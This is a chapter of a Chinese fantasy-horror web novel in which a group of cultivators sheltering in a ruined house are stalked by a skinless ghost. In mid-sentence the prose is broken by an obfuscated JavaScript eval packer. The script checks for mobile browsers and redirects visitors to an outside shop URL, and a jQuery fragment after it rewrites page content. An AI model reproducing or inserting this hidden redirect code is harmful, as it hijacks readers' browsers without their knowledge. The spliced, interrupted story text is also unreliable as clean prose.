顾桃听完,周身妖气浓重了几分,眸色沉着,默默思考着什么。
君梦见他不语,抽了抽鼻子,低声唤道:“桃哥?”
火堆里噼啪声不停,顾桃垂下眼眸,将外袍往她肩上拢了拢,语气温和安抚道:“没事,是这地方太糟糕,日有所思夜有所梦罢了……我守着你,你就在这里休息。”
君梦不再吱声,睡意全无。他的样子,并不像是“没事”。
那梦境太过真实,让她一时分不清刚才的是梦,还是此刻是梦,只下意识往自己手背上掐了一把。
“嘶…”
顾桃低头看她搓揉手背上的红印,侧过脸用余光扫了眼身后的房间,稍稍犹豫后,还是拾起一片小木块,屈指一弹,将木片飞射向其中一扇门板,发出极轻微的声响。
不多时,叶远楠哈欠连连走了出来。
刚想询问,一看他怀中搂着愣神的君梦,两人的姿势就着橙色火光,说不尽的暧昧,顿时气不打一处来。
叶远楠拉长了脸,双臂环胸往他跟前一站。
怎么着?半夜想起来喂狗?
顾桃没理会他的不满,给他使了个眼色:有怪事,去看看。
叶远楠挑了挑眉,居然接收到了信号:得,我懂了,出去瞅瞅是吧?
他收起面上戏谑的表情,朝着门外走去。
刚出得门来,四周黑悠悠的一片,冷风扫过面庞,他打了个激灵,霎时清醒。
“不对呀,他为什么不自己出来看?”
这是不放心他在她身边么?死小子,还挺记仇!
叶远楠一阵无语,摸出怀中雕刻精致的火折子,轻吹之下,燃起的火光顷刻吞噬了面前黑暗。
他就借着这点微光沿着大屋墙根挪步,靴底碾过碎石子的声响在漆黑寂静的夜里格外刺耳。
嘴里忍不住抱怨道:“这是什么破差事,黑灯瞎火凉飕飕的。”
火光扫过四周,连只耗子也没见着……也是,耗子在这儿恐怕都得饿死。
一边胡思乱想着,两只眼皮又要开始打架。
这时一阵微风拂过,火光晃了晃,忽然照亮窗台下那抹显眼的痕迹。
就在他们住下的两间房窗外,地面留下长长的暗红色印记,像是有人拖拽着被血水浸透的破布从这儿碾过,痕迹边缘还带着不规则的滴落状血点。
他眉尾一紧,半蹲下身子,用指尖沾了点红色举到鼻尖。
一股浓烈的甜腥味儿,是很新鲜的人血混合着鬼气。
叶远楠当即皱起俊脸,嫌弃地将血色擦到衣摆上。
而姑娘们住的那间屋子窗下,血迹尤其厚重,显然那东西在此处徘徊了许久。
“他娘的……”
叶远楠的声音卡在喉咙里。
他们在住进来之前就四周检查过,当时绝对是没有这些奇怪东西的。
更让他头皮发麻的是,一条仍然鲜红的痕迹,正曲折地从另一头绕向前院。
心里咯噔,叶远楠暗道不好!提气就沿着痕迹往正门奔。
那血迹一路来到缺损的大屋正门,他几乎是撞开木门冲进屋,却愣在当场。
火堆前的两人还安然坐在那儿,见他风风火火闯进来,都露出几分惊讶。
见他表情古怪,顾桃心知有异,却怕吓着君梦,语气仍然平缓:“怎么?你怕黑?”
叶远楠张了张嘴,指着门外想说什么,转瞬便回过神来。
顾桃既然没有明着与他交流,定然是担心激起女孩们更大的恐惧,待事情摸清以前,在这夜半三更的,确实不宜声张。
他当即闭上嘴,转身再度冲了出去,举着火折子蹲在墙根仔细搜寻。
可方才分明还清晰可见的血色,竟像是被清洗过一般消失无踪。
火光映在他脸上忽明忽暗,后背不由沁出一层冷汗。
若不是眼花,那些东西究竟藏去了哪里?
越是回想脑子里越是乱糟糟的,他心想莫不是睡迷糊了?用力甩了甩头,被带动的气流卷着阴风,撩起一串火星正好掠过耳畔,将耳垂烫得刺痛。
不对,那股血腥味儿仍记忆犹新!
叶远楠呼吸一滞,伸出手缓缓撩起衣摆。
一枚血色印记落在上面,正是他胡乱擦拭手指时留下的。
他僵在原地,被戏耍的怒意漫上心头,往日里总带着痞气的眼角此刻微微下沉,瞳仁里的火光像是淬上一层冰壳,亮得慑人。
收了火折子,自掌心腾起一团术火,沿着院子转了三圈,连枯草缝都扒拉了一遍,却始终没再出现任何可疑之处。
明明每一根寒毛都在提醒,有什么东西正躲在暗处用阴毒的视线盯着他,却偏偏不能判断具体方位。
顿了一顿,叶远楠缓缓回头望向大屋,怒极反笑地冷哼一声。
眼下怕是顾不得是否会惊吓到姑娘们了。
他以两指捻起左掌中的火团,口中低声诵出术诀,“呼啦”一声将指尖火团甩向正屋。
那团火刚沾到地面,焰身瞬间拔高,沿着大屋就围成一个大火圈。
火焰另外分出一簇,随着门缝往里钻,顺着地面朝火堆前的两人包围过去。
顾桃带着君梦腾地站起身,正想质问他抽什么疯呢?却见火焰自动避开他们,继续往他们身后蔓延。
叶远楠不急不缓踩着火焰进了屋,锐利的眼神像把刚磨过的刀,抬起手指指向他们。
顾桃反应迅速,揽了错愕的君梦大步跨过火堆,靠近叶远楠后转身看向他们先前的位置。
这一眼,直叫他大吃一惊。
他们刚才坐的位置正后方,一道黑影扭曲着凭空出现,渐渐现出人形。
那是个佝偻着背的男人,没有脸皮,不!它套着的那件破烂粗布衫下,根本就没有半寸完整皮肤,就像前一秒刚被人剥去浑身皮,从跳动红肉上沁出的血水还顺着布条往下滴落。
无皮鬼眼眶里黑洞洞的,鲜红的血沿着脸肉往下淌,嘴角上挑,似乎还在笑。
原本消失在地面的血色痕迹,在火焰中再次显现。
正是从大屋门口一路延伸进来,接着就一直立于二人身后,那处血迹竟聚成了一滩血洼。
君梦浑身炸毛,双腿一软,若不是顾桃揽着她,怕是滚到地上了。
原来那不是梦,都是真的!
可正是这真实才最让她难以接受!脸上血色刹那褪尽,浑身止不住颤抖。
叶远楠见这无皮鬼影显了形,怒骂道:“竟敢戏耍小爷!找死!”
随着骂声,他就着身旁采摘一朵火莲,猛地射向鬼影。
那鬼东西不躲也不闪,嘴角扯出更大的幅度。
火莲在它身影上撞散,焰火努力焚烧着它,随着它的身影渐渐变淡,他们心头却没有半分松懈。
它的笑容实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256174|195263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在太过蹊跷。
果然,火莲消散后,跟着消失的鬼影便再次原地重聚,无皮脸上还是那副诡异的表情。
叶远楠一时吃不透它究竟是什么东西,手心微微出汗。
就在这时,两间里屋的门被打开,被他怒喝惊醒的三人一拥而出。
离声将将看清眼前鬼影的模样,胃里就忍不住一阵翻江倒海,扶着门框面色发青。
小羽比她镇定许多,虽也被近在眼前的无皮鬼脸惊得一颤,却还是下意识往前站了一步,将离声挡在身后。
她快速在手中以灵力凝聚起一把弓箭,正欲趁其不备偷袭,另一边反应最快的陆以乐早将炼狱刺了出去,口中也如叶远楠般骂道:“他娘的,什么脏东西?!还真敢来!”
长枪带着风声直取鬼影后背,然而手中完全没有感觉到阻碍,像是刺了一团空气,枪尖离火也并未产生感应到邪祟的反应。
可那鬼影却是不依,接连两击让它气恼了。趁陆以乐收枪发懵之际,回身就是一爪,尖锐的指甲撕开他的袖口,在他小臂上留下四道深深血痕,皮肉外翻血珠滚滚而落。
众人大惊,按理说这鬼影不受火术干扰也就罢了,连离火也不能伤它分毫,那么它就应该是幻术之类,可它竟能以实体的形态对人造成伤害!
顾桃不再观望,当即将君梦推给叶远楠,唤出雷泽,带着电光横劈过去。
那鬼影此时正扑向小羽,但听耳边“滋啦”声响,立即散了身影,可谓是毫不犹豫。
顾桃扑了个空,雷泽斧刃划向地面,在三人脚边落下几道电光滋过的黑色纹路。
鬼影就此消失不见,叶远楠巡视一周后收了焰火,冲着他们摇了摇头,几人这才心惊肉跳地凑到一处。
地上火堆依旧噼里啪啦燃烧着,地上血色痕迹跟随鬼影再行消失。
方才短短时间内发生的一切,就像是几人同时做了同样的梦,同时被惊醒后才围坐在一起。
如果没有衣角那枚血印,和陆以乐手臂上的伤痕的话……
顾桃重新把惊吓过度的君梦搂在怀里,和叶远楠一起,三人默契地避开无皮鬼站立了老半天的位置。
陆以乐可不管那么多,龇牙咧嘴捂着受伤的手臂,一屁股就坐到最舒适且没人的位置上。
离声被他指缝中浸出来的血水一晃,强行按下心中波澜,拉过他的手臂搁在自己膝头,就着火光翻开他手掌,取出一方干净帕子拭了拭伤口四周的血迹,这才将白色药粉均匀撒上。
君梦在顾桃温暖的怀抱中缓过神来,率先开口打破这骇人的沉静:“那、东西呢?”
她的声音仍带着哆嗦,紧紧抓着顾桃衣裳的手指,早已泄露她心底的慌乱,她只有一个念头,必须确认现在到底是真实还是梦境。
若说谁受到最重的惊吓,必然是她了,毕竟在几次似幻似真的景象中,无皮鬼就与她接触最多,冲击最烈。
面对突然的平静,叶远楠眼神里也满是惊疑:“难道……真是幻觉?可是这也太真了!”
话音刚落,屋外传来一声乌鸦尖细的“嘎嘎”声,就像在为那只无皮鬼的邪恶笑容配音。
顾桃捏了捏眉心,刚才他靠近鬼影时感受到的刺骨寒意,此刻还围绕在身旁,绝不可能是凭空臆想出来的。
“不是幻觉。”他沉声道,目光扫过陆以乐手臂上的绷带。
“是它在试探我们。”